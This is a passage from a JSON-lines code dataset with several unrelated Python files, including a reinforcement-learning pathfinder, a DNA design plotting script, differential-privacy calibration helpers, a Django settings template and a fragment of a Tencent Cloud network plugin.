trusted_ips()\n\n jail_info = get_jail_info(\n private_ip_ranges=private_ip_ranges, special_ips=special_ips\n )\n del jail_info[\"ips\"]\n\n report_jail(**jail_info)\n\n dialogue_jail(\n possible_hackers=jail_info[\"possible_hackers\"],\n interactive=args.interactive,\n )\n\n # update jail info since newly jailed IPs may have been added\n jail_info = get_jail_info(\n private_ip_ranges=private_ip_ranges, special_ips=special_ips\n )\n\n (firewalled_ips, recently_jailed_but_not_firewalled) = (\n get_firewall_candidates(jail=jail_info[\"recently_jailed\"])\n )\n\n report_firewall(\n firewalled_ips=firewalled_ips,\n jailed_but_not_firewalled=recently_jailed_but_not_firewalled,\n )\n\n dialogue_firewall(\n jailed_but_not_firewalled=recently_jailed_but_not_firewalled,\n interactive=args.interactive,\n )\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"tmasthay/basher","sub_path":"src/py_scripts/check_jail.py","file_name":"check_jail.py","file_ext":"py","file_size_in_byte":11874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"11419790022","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport re\nimport sys\nimport os\nimport glob\nimport json\nfrom nltk.stem.snowball import SnowballStemmer as Stemmer\n\nreferences = {}\n\nfor input_file in glob.glob(sys.argv[1]+'/*.key'):\n\tfile_id = input_file.split('/')[-1].split('.')[0]\n\twith open(input_file, 'r') as f:\n\t\tkeyphrases = f.readlines()\n\t\tfor i, keyphrase in enumerate(keyphrases):\n\t\t\twords = keyphrase.strip().split()\n\t\t\tstems = [Stemmer('porter').stem(w.lower()) for w in words]\n\t\t\tif sys.argv[3] == \"True\":\n\t\t\t\tkeyphrases[i] = ' '.join(stems)\n\t\t\telse:\n\t\t\t\tkeyphrases[i] = ' '.join(words).lower()\n\n\t\treferences[file_id] = [[k] for k in keyphrases]\n\nwith open(sys.argv[2], 'w') as o:\n\tjson.dump(references, o, sort_keys = True, indent = 4)\n","repo_name":"boudinfl/ake-datasets","sub_path":"datasets/CSTR/src/json_references.py","file_name":"json_references.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","stars":134,"dataset":"github-code","pt":"18"} +{"seq_id":"33527450191","text":"for _ in range(int(input())):\n N, A, B, C, D, P, Q, Y = map(int, input().split())\n X = list(map(int, input().split()))\n X.insert(0,0)\n train = None\n if abs(X[A] - X[C]) * P <= Y:\n wait = Y - abs(X[A] - X[C]) * P\n train = (abs(X[A] - X[C]) * P) + (abs(X[D] - X[C]) * Q) + (abs(X[B] - X[D]) * P) + wait\n walk = abs(X[B] - X[A]) * P \n if train:\n print(min(walk, train))\n else:\n print(walk)\n","repo_name":"Sanket-Mathur/CodeChef-Practice","sub_path":"WALKFAST.py","file_name":"WALKFAST.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"42734314222","text":"import numpy as np\n\nfrom functions.itertools_addendum import *\n\ndef init_parameters(m, gamemode):\n\t\"\"\" \n\tdescription:\n\t\tInitialize the main parameters for the function on_policy_first_visit_mc_control.\n\t\tIt also creates start and end.\n\tsyntax:\n\t\tparameters, start, end = init_parameters(m, gamemode)\n\t\"\"\"\n\t# initialize the following main parameters\n\t# \tavailable_actions, proposed_actions, rewards, count_returns, returns, state_value, action_value\n\tavailable_actions, proposed_actions, rewards, count_returns, returns, state_value, action_value = {}, {}, {}, {}, {}, {}, {}\n\tif gamemode == \"shortest_path\":\n\t\tentities = {}\n\t\tvalue = 1\n\telse:\n\t\tentities = m.get_entities()\n\t\tvalue = 0\n\t\tfor power in entities.values():\n\t\t\tvalue += power\n\tif gamemode in [\"shortest_path\", \"survivor\"]:\n\t\tstates = m.get_vertices()\n\t\tfor state in states: # state = vertex\n\t\t\tavailable_actions[state], count_returns[state], returns[state], state_value[state] = [], 0, 0, 0\n\t\t\tmaximum = -np.inf\n\t\t\tfor _, action, weight in m.starting_edges(state): # action = arrival_vertex\n\t\t\t\tavailable_actions[state].append(action)\n\t\t\t\trewards[(state, action)] = -weight\n\t\t\t\tif action in entities:\n\t\t\t\t\trewards[(state, action)] += -20 * entities[action]\n\t\t\t\tif rewards[(state, action)] > maximum:\n\t\t\t\t\tmaximum = rewards[(state, action)]\n\t\t\t\t\tproposed_actions[state] = action\n\t\t\t\taction_value[(state, action)] = -np.inf\n\t\tstate_value[m.get_end()] = 100 * value\n\t\tend = [m.get_end()]\n\t\tstart = 0\n\telif gamemode == \"explorer\":\n\t\tstates = []\n\t\tfor active_entities in powerset(list(entities.keys())):\n\t\t\tfor vertex in m.get_vertices():\n\t\t\t\tstates.append((vertex, active_entities))\n\t\tfor state in states:\n\t\t\tavailable_actions[state], count_returns[state], returns[state], state_value[state] = [], 0, 0, 0\n\t\t\tmaximum = -np.inf\n\t\t\tfor _, arrival_vertex, weight in m.starting_edges(state[0]):\n\t\t\t\tif arrival_vertex not in state[1]: # state[1] = active_entities for the state\n\t\t\t\t\taction = (arrival_vertex, state[1])\n\t\t\t\telse:\n\t\t\t\t\tnew_active_entities = tuple([x for x in state[1] if x != arrival_vertex])\n\t\t\t\t\taction = (arrival_vertex, new_active_entities)\n\t\t\t\tavailable_actions[state].append(action)\n\t\t\t\trewards[(state, action)] = -weight\n\t\t\t\tif arrival_vertex in state[1]:\n\t\t\t\t\trewards[(state, action)] += +20 * entities[arrival_vertex]\n\t\t\t\tif rewards[(state, action)] > maximum:\n\t\t\t\t\tmaximum = rewards[(state, action)]\n\t\t\t\t\tproposed_actions[state] = action\n\t\t\t\taction_value[(state, action)] = -np.inf\n\t\tend = []\n\t\tfor active_entities in powerset(entities):\n\t\t\tstate_value[(m.get_end(), active_entities)] = 100 * value\n\t\t\tend.append((m.get_end(), active_entities))\n\t\tstart = (0, tuple(entities.keys()))\n\treturn [available_actions, proposed_actions, rewards, count_returns, returns, state_value, action_value], start, end\n\ndef eps_greedy_policy(state, available_actions, proposed_action, eps):\n\t\"\"\" \n\tdescription:\n\t\tImplementation of the epsilon-greedy policy.\n\tsyntax:\n\t\taction = eps_greedy_policy(state, available_actions, proposed_action, eps)\n\t\"\"\"\n\tp = np.random.random()\n\tif p < (1 - eps) and proposed_action is not None:\n\t\treturn proposed_action\n\telse:\n\t\treturn available_actions[state][np.random.choice(len(available_actions[state]))]\n \ndef policy_prediction_and_improvement(available_actions, proposed_actions, rewards, count_returns, returns, state_value, action_value,\n\t\tstart, end, eps):\n\t\"\"\" \n\tdescription:\n\t\tMain loop of the function on_policy_first_visit_mc_control.\n\t\tIt is divided in 3 phases:\n\t\t- generation of an episode (following the epsilon-greedy policy);\n\t\t- prediction phase;\n\t\t- improvement phase.\n\tsyntax:\n\t\tpolicy_prediction_and_improvement(available_actions, proposed_actions, rewards, count_returns, returns, state_value, action_value,\n\t\t\tstart, end, eps)\n\t\"\"\"\n\t# discount factor\n\tgamma = 0.99\n\t# generate an episode\n\t#\tinitial state\n\tstate = start\n\tepisode = []\n\tepisode_states = []\n\t#\tmax_iteration: maximum number of iteration, it is necessary to guarantee the termination of the function\n\tmax_iteration = 0\n\t#\tloop until reaching the end or reaching max_iteration\n\twhile state not in end and max_iteration < 1000:\n\t\taction = eps_greedy_policy(state, available_actions, proposed_actions[state], eps)\n\t\tepisode.append((state, action))\n\t\tepisode_states.append(state)\n\t\tstate = action\n\t\tmax_iteration += 1\n\t# prediction phase\n\t#\tupdate returns, action_value\n\ttotal_return = 0\n\tfor index in range(len(episode)):\n\t\tstate, action = episode[-(index + 1)]\n\t\ttotal_return = gamma * total_return + rewards[(state, action)]\n\t\tif state not in episode_states[:-(index + 1)]:\n\t\t\tcount_returns[state] += 1\n\t\t\treturns[state] += total_return\n\t\t\tstate_value[state] = returns[state] / count_returns[state]\n\t\t# improvement phase\n\t\taction_value[(state, action)] = gamma * state_value[action] + rewards[(state, action)]\n\tfor state in episode_states:\n\t\taction_value_state = {}\n\t\tfor action in available_actions[state]:\n\t\t\taction_value_state[action] = action_value[(state, action)]\n\t\t#\tproposed_actions[state] = argmax_{action} action_value[(state, action)]\n\t\tproposed_actions[state] = max(action_value_state, key = action_value_state.get)\n\ndef on_policy_first_visit_mc_control(m, gamemode):\n\t\"\"\" \n\tdescription:\n\t\tOn-policy first-visit MC control algorithm with epsilon-greedy policy.\n\t\tIf the algorithm does not find a path it returns False, otherwise\n\t\tit returns a triple stamina, life, path.\n\tsyntax:\n\t\tout = on_policy_first_visit_mc_control(m, gamemode)\n\t\"\"\"\n\t# init phase\n\tparameters, start, end = init_parameters(m, gamemode)\n\tavailable_actions, proposed_actions, rewards, count_returns, returns, state_value, action_value = parameters\n\t# control phase\n\teps = 0.75\n\tfor _ in range(1000):\n\t\tpolicy_prediction_and_improvement(available_actions, proposed_actions, rewards, count_returns, returns, state_value, action_value,\n\t\t\tstart, end, eps)\n\t# creation of the final path\n\tpath = [0]\n\tstate = start\n\tmax_iteration = 0\n\twhile state not in end and max_iteration < 100:\n\t\tstate = proposed_actions[state]\n\t\tif type(state) is tuple: # = if gamemode == \"explorer\"\n\t\t\tpath.append(state[0])\n\t\telse:\n\t\t\tpath.append(state)\n\t\tmax_iteration += 1\n\tif max_iteration < 100:\n\t\tstamina, life = m.get_stamina_life(path)\n\t\treturn stamina, life, path\n\telse:\n\t\treturn False","repo_name":"caporali/keep_heading_north","sub_path":"code/source/functions/rl.py","file_name":"rl.py","file_ext":"py","file_size_in_byte":6222,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"27952325586","text":"#!/usr/bin/env python\n\"\"\"\n Plots a set of designs and related performance informations. This\n has been adapted from the \"plot_SBOL_designs.py\" app, showing how\n existing scripts can easily be extended to include new functionality.\n\"\"\"\n\nimport sys\nimport getopt\nimport csv\nimport dnaplotlib as dpl\nimport matplotlib.pyplot as plt\nfrom argparse import ArgumentParser\nimport os.path\nimport matplotlib.gridspec as gridspec\nimport numpy as np\n\n__author__ = 'Thomas E. Gorochowski , Voigt Lab, MIT'\n__license__ = 'MIT'\n__version__ = '1.0'\n\n# Function that converts string to float (if possible)\ndef make_float_if_needed (s):\n\ttry:\n\t\tfloat(s)\n\t\treturn float(s)\n\texcept ValueError:\n\t\treturn s\n\n# Function to load the parameters data file\ndef load_plot_parameters (filename):\n\tplot_params = {}\n\tparam_reader = csv.reader(open(filename, 'rU'), delimiter=',')\n\t# Ignore header\n\theader = next(param_reader)\n\t# Process all parameters\n\tfor row in param_reader:\n\t\tif len(row) >= 2:\n\t\t\tif row[1] != '':\n\t\t\t\tplot_params[row[0]] = make_float_if_needed(row[1])\n\treturn plot_params\n\n# Function to load the part information data file\ndef load_part_information (filename):\n\tpart_info = {}\n\tparts_reader = csv.reader(open(filename, 'rU'), delimiter=',')\n\theader = next(parts_reader)\n\theader_map = {}\n\tfor i in range(len(header)):\n\t\theader_map[header[i]] = i\n\tattrib_keys = [k for k in list(header_map.keys()) if k not in ['part_name', 'type']]\n\tfor row in parts_reader:\n\t\t# Make the attributes map\n\t\tpart_attribs_map = {}\n\t\tfor k in attrib_keys:\n\t\t\tif row[header_map[k]] != '':\n\t\t\t\tif k == 'color' or k == 'label_color':\n\t\t\t\t\tpart_attribs_map[k] = [float(x) for x in row[header_map[k]].split(';')]\n\t\t\t\telse:\n\t\t\t\t\tpart_attribs_map[k] = make_float_if_needed(row[header_map[k]])\n\t\tpart_name = row[header_map['part_name']]\n\t\tpart_type = row[header_map['type']]\n\t\tpart_info[part_name] = [part_name, part_type, part_attribs_map]\n\treturn part_info\n\n# Function to load the performance data file\ndef load_perf_information (filename):\n\tperf_info = {}\n\tperf_reader = csv.reader(open(filename, 'rU'), delimiter=',')\n\theader = next(perf_reader)\n\theader_map = {}\n\tfor i in range(len(header)):\n\t\theader_map[header[i]] = i\n\tattrib_keys = [k for k in list(header_map.keys()) if k != 'Variant']\n\tfor row in perf_reader:\n\t\t# Make the attributes map\n\t\tperf_attribs_map = {}\n\t\tfor k in attrib_keys:\n\t\t\tif row[header_map[k]] != '':\n\t\t\t\tperf_attribs_map[k] = make_float_if_needed(row[header_map[k]])\n\t\tvariant = row[header_map['Variant']]\n\t\tperf_info[variant] = perf_attribs_map\n\treturn perf_info\n\n# Function to load the DNA designs data file\ndef load_dna_designs (filename, part_info):\n\tdna_design_order = []\n\tdna_designs = {}\n\tdesign_reader = csv.reader(open(filename, 'rU'), delimiter=',')\n\t# Ignore header\n\theader = next(design_reader)\n\t# Process all parameters\n\tfor row in design_reader:\n\t\tif len(row[0]) != '':\n\t\t\tpart_list = []\n\t\t\tfor i in range(1,len(row)):\n\t\t\t\t# Handle reverse parts\n\t\t\t\tfwd = True\n\t\t\t\tpart_name = row[i]\n\t\t\t\tif len(part_name) != 0:\n\t\t\t\t\tif part_name[0] == 'r':\n\t\t\t\t\t\tpart_name = part_name[1:]\n\t\t\t\t\t\tfwd = False\n\t\t\t\t\t# Store the design\n\t\t\t\t\tpart_design = {}\n\t\t\t\t\tcur_part_info = part_info[part_name]\n\t\t\t\t\tpart_design['type'] = cur_part_info[1]\n\t\t\t\t\tpart_design['name'] = part_name\n\t\t\t\t\tpart_design['fwd'] = fwd \n\t\t\t\t\tif fwd == True:\n\t\t\t\t\t\tpart_design['start'] = i\n\t\t\t\t\t\tpart_design['end'] = i+1\n\t\t\t\t\telse:\n\t\t\t\t\t\tpart_design['end'] = i\n\t\t\t\t\t\tpart_design['start'] = i+1\n\t\t\t\t\tpart_design['opts'] = cur_part_info[2]\n\t\t\t\t\tpart_list.append(part_design)\n\t\t\tdna_designs[row[0]] = part_list\n\t\t\tdna_design_order.append(row[0])\n\treturn dna_designs, dna_design_order\n\n# Function to all of the values for a given attribute from a dictionary\ndef extract_dict_attribs (d, dict_keys, attrib_key):\n\tout = []\n\tfor d_key in dict_keys:\n\t\tout.append(d[d_key][attrib_key])\n\treturn out\n\n# Function to plot the designs and performance information\ndef plot_dna (dna_designs, dna_design_order, out_filename, plot_params, perf_data):\n\t# Default parameters for the plotting\n\tif 'axis_y' not in list(plot_params.keys()):\n\t\tplot_params['axis_y'] = 35\n\tleft_pad = 0.0\n\tright_pad = 0.0\n\tscale = 1.0\n\tlinewidth = 1.0\n\tfig_y = 5.0\n\tfig_x = 5.0\n\t# Update parameters if needed\n\tif 'backbone_pad_left' in list(plot_params.keys()):\n\t\tleft_pad = plot_params['backbone_pad_left']\n\tif 'backbone_pad_right' in list(plot_params.keys()):\n\t\tright_pad = plot_params['backbone_pad_right']\n\tif 'scale' in list(plot_params.keys()):\n\t\tscale = plot_params['scale']\n\tif 'linewidth' in list(plot_params.keys()):\n\t\tlinewidth = plot_params['linewidth']\n\tif 'fig_y' in list(plot_params.keys()):\n\t\tfig_y = plot_params['fig_y']\n\tif 'fig_x' in list(plot_params.keys()):\n\t\tfig_x = plot_params['fig_x']\n\tdr = dpl.DNARenderer(scale=scale, linewidth=linewidth,\n\t\t backbone_pad_left=left_pad, \n\t\t backbone_pad_right=right_pad)\n\n\t# We default to the SBOL part renderers\n\tpart_renderers = dr.SBOL_part_renderers()\n\n # Create the figure\n\tfig = plt.figure(figsize=(3.6,6.2))\n\n\t# Cycle through the designs an plot on individual axes\n\tdesign_list = sorted(dna_designs.keys())\n\tnum_of_designs = len(design_list)\n\tax_list = []\n\tmax_dna_len = 0.0\n\tgs = gridspec.GridSpec(num_of_designs,2, width_ratios=[1,12])\n\n\t# Plot the genetic designs\n\tfor i in range(len(dna_design_order)):\n\t\t# Create axis for the design and plot\n\t\tdesign = dna_designs[dna_design_order[i]]\n\t\tax = plt.subplot(gs[i, 1])\n\t\tif 'show_title' in list(plot_params.keys()) and plot_params['show_title'] == 'Y':\n\t\t\tax.set_title(design_list[i], fontsize=8)\n\t\tstart, end = dr.renderDNA(ax, design, part_renderers)\n\t\tdna_len = end-start\n\t\tif max_dna_len < dna_len:\n\t\t\tmax_dna_len = dna_len\n\t\tax_list.append(ax)\n\tfor ax in ax_list:\n\t\tax.set_xticks([])\n\t\tax.set_yticks([])\n\t\t# Set bounds\n\t\tax.set_xlim([(-0.01*max_dna_len)-left_pad,\n\t\t\t max_dna_len+(0.01*max_dna_len)+right_pad])\n\t\tax.set_ylim([-14,14])\n\t\tax.set_aspect('equal')\n\t\tax.set_axis_off()\n\n\t# Plot the performance data (bar charts)\n\tperf_vals = extract_dict_attribs(perf_data, dna_design_order, 'Activity')\n\tperf_sd_vals = extract_dict_attribs(perf_data, dna_design_order, 'Activity_SD')\n\tax_perf = plt.subplot(gs[:, 0])\n\tbar_height = 0.3\n\tax_perf.plot([1],[1])\n\tax_perf.spines['top'].set_visible(False)\n\tax_perf.spines['bottom'].set_visible(False)\n\tax_perf.spines['right'].set_visible(False)\n\tax_perf.invert_yaxis()\n\tax_perf.set_xticks([])\n\tax_perf.yaxis.tick_left()\n\tax_perf.yaxis.set_ticks_position('left')\n\tax_perf.tick_params(axis='y', direction='out')\n\tax_perf.tick_params('y', length=3, width=0.8, which='major', pad=2, labelsize=8)\n\tpos1 = np.arange(len(perf_vals))\n\tax_perf.barh(pos1, perf_vals, height=bar_height, color=(0.6,0.6,0.6), edgecolor=(0.6,0.6,0.6))\n\tax_perf.errorbar(perf_vals, pos1+(bar_height/2.0), fmt='none', xerr=perf_sd_vals, ecolor=(0,0,0), capthick=1)\n\tax_perf.set_yticks(pos1+(bar_height/2.0))\n\tax_perf.set_yticklabels(dna_design_order)\n\tax_perf.set_ylim([max(pos1)+0.65, -0.35])\n\tax_perf.set_xlim([0, 1062606*1.05])\n\n\t# Save the figure\n\tplt.subplots_adjust(hspace=0.001, wspace=0.05, top=0.99, bottom=0.01, left=0.06, right=0.99)\n\tfig.savefig(out_filename, transparent=True, dpi=300)\n\t\n\t# Clear the plotting cache\n\tplt.close('all')\n\ndef main():\t\n\t# Load the data\n\tplot_params = load_plot_parameters('plot_parameters.csv')\n\tpart_info = load_part_information('part_information.csv')\n\tdna_designs, dna_design_order = load_dna_designs ('dna_designs.csv', part_info)\n\tperf_data =load_perf_information('performance.csv')\n\t# Plot the libraries\n\tplot_dna(dna_designs, dna_design_order, 'variants_library.pdf', plot_params, perf_data)\n\tplot_dna(dna_designs, dna_design_order, 'variants_library.png', plot_params, perf_data)\n\nif __name__ == \"__main__\":\n \tmain()\n \t\n","repo_name":"VoigtLab/dnaplotlib","sub_path":"gallery/variants_library/variants_library.py","file_name":"variants_library.py","file_ext":"py","file_size_in_byte":7785,"program_lang":"python","lang":"en","doc_type":"code","stars":278,"dataset":"github-code","pt":"18"} +{"seq_id":"26526240985","text":"import math\nfrom typing import Sequence, Tuple, Union\n\nfrom jax_privacy.src.accounting import dp_bounds\nimport numpy as np\nimport scipy.optimize as sp_opt\n\n\ndef calibrate_steps(\n target_epsilon: float,\n noise_multipliers: Union[float, Sequence[Tuple[int, float]]],\n batch_sizes: Union[int, Sequence[Tuple[int, int]]],\n num_examples: int,\n target_delta: float,\n dp_accountant_config: dp_bounds.DpAccountantConfig,\n initial_max_steps: int = 4,\n initial_min_steps: int = 1,\n tol: float = 0.1,\n) -> int:\n \"\"\"Computes the number of steps to achieve `target_epsilon`.\n\n Args:\n target_epsilon: The desired final epsilon.\n noise_multipliers: Noise multiplier. Float or list of pairs\n (t: int, nm: float) if the noise multiplier changes across steps.\n 't' indicates step where noise_multiplier is set to 'nm'.\n batch_sizes: Batch size. Integer or list of pairs (t: int, bs: int) if the\n noise multiplier changes across steps. 't' indicates step where batch_size\n is set to 'bs'.\n num_examples: Number of training examples.\n target_delta: Desired delta for the returned epsilon.\n dp_accountant_config: Configuration for the DP accountant to use.\n initial_max_steps: An initial estimate of the number of steps.\n initial_min_steps: Minimum number of steps.\n tol: tolerance of the optimizer for the calibration.\n\n Returns:\n steps: Number of steps.\n \"\"\"\n\n def get_epsilon(num_steps):\n return dp_bounds.compute_epsilon(\n noise_multipliers=noise_multipliers,\n batch_sizes=batch_sizes,\n num_steps=num_steps,\n num_examples=num_examples,\n target_delta=target_delta,\n dp_accountant_config=dp_accountant_config,\n )\n\n if get_epsilon(initial_min_steps) > target_epsilon:\n raise ValueError('Epsilon at initial_min_steps is too large. '\n 'Try increasing `target_epsilon`.')\n\n max_steps = initial_max_steps\n min_steps = initial_min_steps\n while get_epsilon(max_steps) < target_epsilon:\n min_steps, max_steps = max_steps, 2*max_steps\n\n error_epsilon = lambda s: np.abs(get_epsilon(int(s)) - target_epsilon)\n steps = int(\n math.ceil(_solve_calibration(error_epsilon, min_steps, max_steps, tol)))\n\n return steps\n\n\ndef calibrate_noise_multiplier(\n target_epsilon: float,\n batch_sizes: Union[int, Sequence[Tuple[int, int]]],\n num_steps: int,\n num_examples: int,\n target_delta: float,\n dp_accountant_config: dp_bounds.DpAccountantConfig,\n initial_max_noise: float = 1.0,\n initial_min_noise: float = 0.0,\n tol: float = 0.01,\n) -> float:\n \"\"\"Computes the noise multiplier to achieve `target_epsilon`.\n\n Args:\n target_epsilon: The desired final epsilon.\n batch_sizes: Batch size. Integer or list of pairs (t: int, bs: int) if the\n noise multiplier changes across steps. 't' indicates step where batch_size\n is set to 'bs'.\n num_steps: Total number of iterations.\n num_examples: Number of training examples.\n target_delta: Desired delta for the returned epsilon.\n dp_accountant_config: Configuration for the DP accountant to use.\n initial_max_noise: An initial estimate of the noise multiplier.\n initial_min_noise: Minimum noise multiplier.\n tol: tolerance of the optimizer for the calibration.\n\n Returns:\n noise_multiplier: Noise multiplier.\n \"\"\"\n\n def get_epsilon(noise_multiplier):\n return dp_bounds.compute_epsilon(\n noise_multipliers=noise_multiplier,\n batch_sizes=batch_sizes,\n num_steps=num_steps,\n num_examples=num_examples,\n target_delta=target_delta,\n dp_accountant_config=dp_accountant_config,\n )\n\n max_noise = initial_max_noise\n min_noise = initial_min_noise\n while get_epsilon(max_noise) > target_epsilon:\n min_noise, max_noise = max_noise, 2*max_noise\n\n error_epsilon = lambda s: np.abs(get_epsilon(s) - target_epsilon)\n noise_multiplier = _solve_calibration(error_epsilon, min_noise, max_noise,\n tol)\n\n return noise_multiplier\n\n\ndef calibrate_batch_size(\n target_epsilon: float,\n noise_multipliers: Union[float, Sequence[Tuple[int, float]]],\n num_steps: int,\n num_examples: int,\n target_delta: float,\n dp_accountant_config: dp_bounds.DpAccountantConfig,\n initial_max_batch_size: int = 8,\n initial_min_batch_size: int = 1,\n tol: float = 0.01,\n) -> int:\n \"\"\"Computes the batch size required to achieve `target_epsilon`.\n\n Args:\n target_epsilon: The desired final epsilon.\n noise_multipliers: Noise multiplier. Float or list of pairs\n (t: int, nm: float) if the noise multiplier changes across steps.\n 't' indicates step where noise_multiplier is set to 'nm'.\n num_steps: Total number of iterations.\n num_examples: Number of training examples.\n target_delta: Desired delta for the returned epsilon.\n dp_accountant_config: Configuration for the DP accountant to use.\n initial_max_batch_size: An initial estimate of the batch size.\n initial_min_batch_size: Minimum batch size.\n tol: tolerance of the optimizer for the calibration.\n\n Returns:\n batch_size: Batch size.\n \"\"\"\n\n def get_epsilon(batch_size):\n return dp_bounds.compute_epsilon(\n noise_multipliers=noise_multipliers,\n batch_sizes=batch_size,\n num_steps=num_steps,\n num_examples=num_examples,\n target_delta=target_delta,\n dp_accountant_config=dp_accountant_config,\n )\n\n max_batch_size = initial_max_batch_size\n min_batch_size = initial_min_batch_size\n\n if get_epsilon(min_batch_size) > target_epsilon:\n raise ValueError('Epsilon at batch size 1 is too large. '\n 'Try increasing `target_epsilon`.')\n\n while get_epsilon(max_batch_size) < target_epsilon:\n min_batch_size, max_batch_size = max_batch_size, 2*max_batch_size\n\n error_epsilon = lambda s: np.abs(get_epsilon(int(s)) - target_epsilon)\n batch_size = int(math.floor(\n _solve_calibration(error_epsilon, min_batch_size, max_batch_size, tol)))\n\n return batch_size\n\n\ndef _solve_calibration(fn, x_min, x_max, tol):\n opt_result = sp_opt.minimize_scalar(\n fn,\n bounds=(x_min, x_max),\n method='bounded',\n options={'xatol': tol},\n )\n assert opt_result.success\n\n return opt_result.x\n","repo_name":"deepmind/jax_privacy","sub_path":"jax_privacy/src/accounting/calibrate.py","file_name":"calibrate.py","file_ext":"py","file_size_in_byte":6278,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"18"} +{"seq_id":"21130240792","text":"from root_dir import root_dir\n\nPROJECT_NAME = 'project'\nDOMAIN = 'project.com'\n\nDEBUG = False\nTEMPLATE_DEBUG = DEBUG\n\nADMINS = (\n ('Andrew Badr', 'andrewbadr+django_fabfile@gmail.com'),\n)\n\nMANAGERS = ADMINS\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.postgresql_psycopg2', \n 'NAME': PROJECT_NAME,\n 'USER': PROJECT_NAME,\n 'PASSWORD': 'foo',\n 'HOST': '',\n 'PORT': '',\n }\n}\n\nTIME_ZONE = 'UTC'\n\nUZE_TZ = True\n\nLANGUAGE_CODE = 'en-us'\n\nSITE_ID = 1\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nMEDIA_ROOT = ''\n\nMEDIA_URL = ''\n\n# Put collected static files in project directory root\nSTATIC_ROOT = root_dir('..', 'static')\n\nSTATIC_URL = '/static/'\n\n# Collect static files from within app code directory\nSTATICFILES_DIRS = (\n root_dir('static'),\n)\n\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n# 'django.contrib.staticfiles.finders.DefaultStorageFinder',\n)\n\n# Django uses: \n\"\"\"\nfrom random import choice\nprint ''.join([choice('abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*(-_=+)') for i in range(50)])\n\"\"\"\nSECRET_KEY = ''\nassert SECRET_KEY, \"Please generate a new SECRET_KEY in settings.py\"\n\nTEMPLATE_LOADERS = (\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n# 'django.template.loaders.eggs.Loader',\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.middleware.common.CommonMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.middleware.transaction.TransactionMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n)\n\nROOT_URLCONF = '%s.urls' % PROJECT_NAME\n\nTEMPLATE_DIRS = (\n root_dir('templates'),\n)\n\nINSTALLED_APPS = (\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'django.contrib.admin',\n # 'django.contrib.admindocs',\n 'south',\n 'registration',\n 'main'\n)\n\nTEMPLATE_CONTEXT_PROCESSORS = [\n \"django.contrib.auth.context_processors.auth\",\n \"django.core.context_processors.debug\",\n \"django.core.context_processors.i18n\",\n \"django.core.context_processors.media\",\n \"django.core.context_processors.static\",\n \"django.contrib.messages.context_processors.messages\",\n]\n\nDEFAULT_FROM_EMAIL = SERVER_EMAIL = 'web@%s' % DOMAIN\n\n# Registration\nACCOUNT_ACTIVATION_DAYS = 3\nLOGIN_REDIRECT_URL = '/'\n\n# APIs\nFACEBOOK_API_KEY = ''\nFACEBOOK_SECRET_KEY = ''\nTWITTER_CONSUMER_KEY = ''\nTWITTER_CONSUMER_SECRET = ''\n\n# A sample logging configuration. The only tangible logging\n# performed by this configuration is to send an email to\n# the site admins on every HTTP 500 error.\n# See http://docs.djangoproject.com/en/dev/topics/logging for\n# more details on how to customize your logging configuration.\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'handlers': {\n 'mail_admins': {\n 'level': 'ERROR',\n 'class': 'django.utils.log.AdminEmailHandler'\n }\n },\n 'loggers': {\n 'django.request': {\n 'handlers': ['mail_admins'],\n 'level': 'ERROR',\n 'propagate': True,\n },\n }\n}\n\nCACHES = {\n 'default': {\n 'BACKEND': 'django.core.cache.backends.memcached.MemcachedCache',\n 'LOCATION': '127.0.0.1:11211',\n }\n}\n\n# Prevent project cache collisions\nCACHE_MIDDLEWARE_KEY_PREFIX = PROJECT_NAME + ':'\n\ntry:\n from stagesettings import *\nexcept ImportError:\n pass\n\ntry:\n from localsettings import *\nexcept ImportError:\n pass\n\n\n","repo_name":"reverie/django-fabfile","sub_path":"project/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":3781,"program_lang":"python","lang":"en","doc_type":"code","stars":63,"dataset":"github-code","pt":"18"} +{"seq_id":"12751509568","text":"from abstract_plugin.platforms.common.utils import validate_parameter, clear_runtime_properties\nfrom abstract_plugin.platforms.common.network import CommonNetwork\nfrom abstract_plugin.platforms.tencentcloud.restclient import NetworkHelper\nfrom abstract_plugin.platforms.tencentcloud.utils import Base\nfrom cloudify.exceptions import NonRecoverableError\nfrom cloudify import ctx\nimport time\n\n\nclass Network(CommonNetwork, Base):\n\n def __init__(self):\n super(Network, self).__init__()\n\n def create(self, **kwargs):\n vpc_id = validate_parameter('resource_id', self.resource_config)\n try:\n vpc_info = NetworkHelper().list_vpcs(ids=[vpc_id])[0]\n except Exception as e:\n raise NonRecoverableError(\"Vpc {} not exists.Error Message:{}\".format(vpc_id, e))\n if self.use_external_resource:\n subnet_id = validate_parameter('subnet_id', self.resource_config)\n try:\n subnet_info = NetworkHelper().list_subnets(ids=[subnet_id])[0]\n ctx.logger.debug(\"Use existed tencentcloud network: {}, subnet: {}.\".format(vpc_id, subnet_id))\n self.set_base_runtime_props(resource_id=subnet_info['SubnetId'], name=subnet_info['SubnetName'])\n ctx.instance.runtime_properties['vpc_info'] = vpc_info\n ctx.instance.runtime_properties['subnet_info'] = subnet_info\n except Exception as 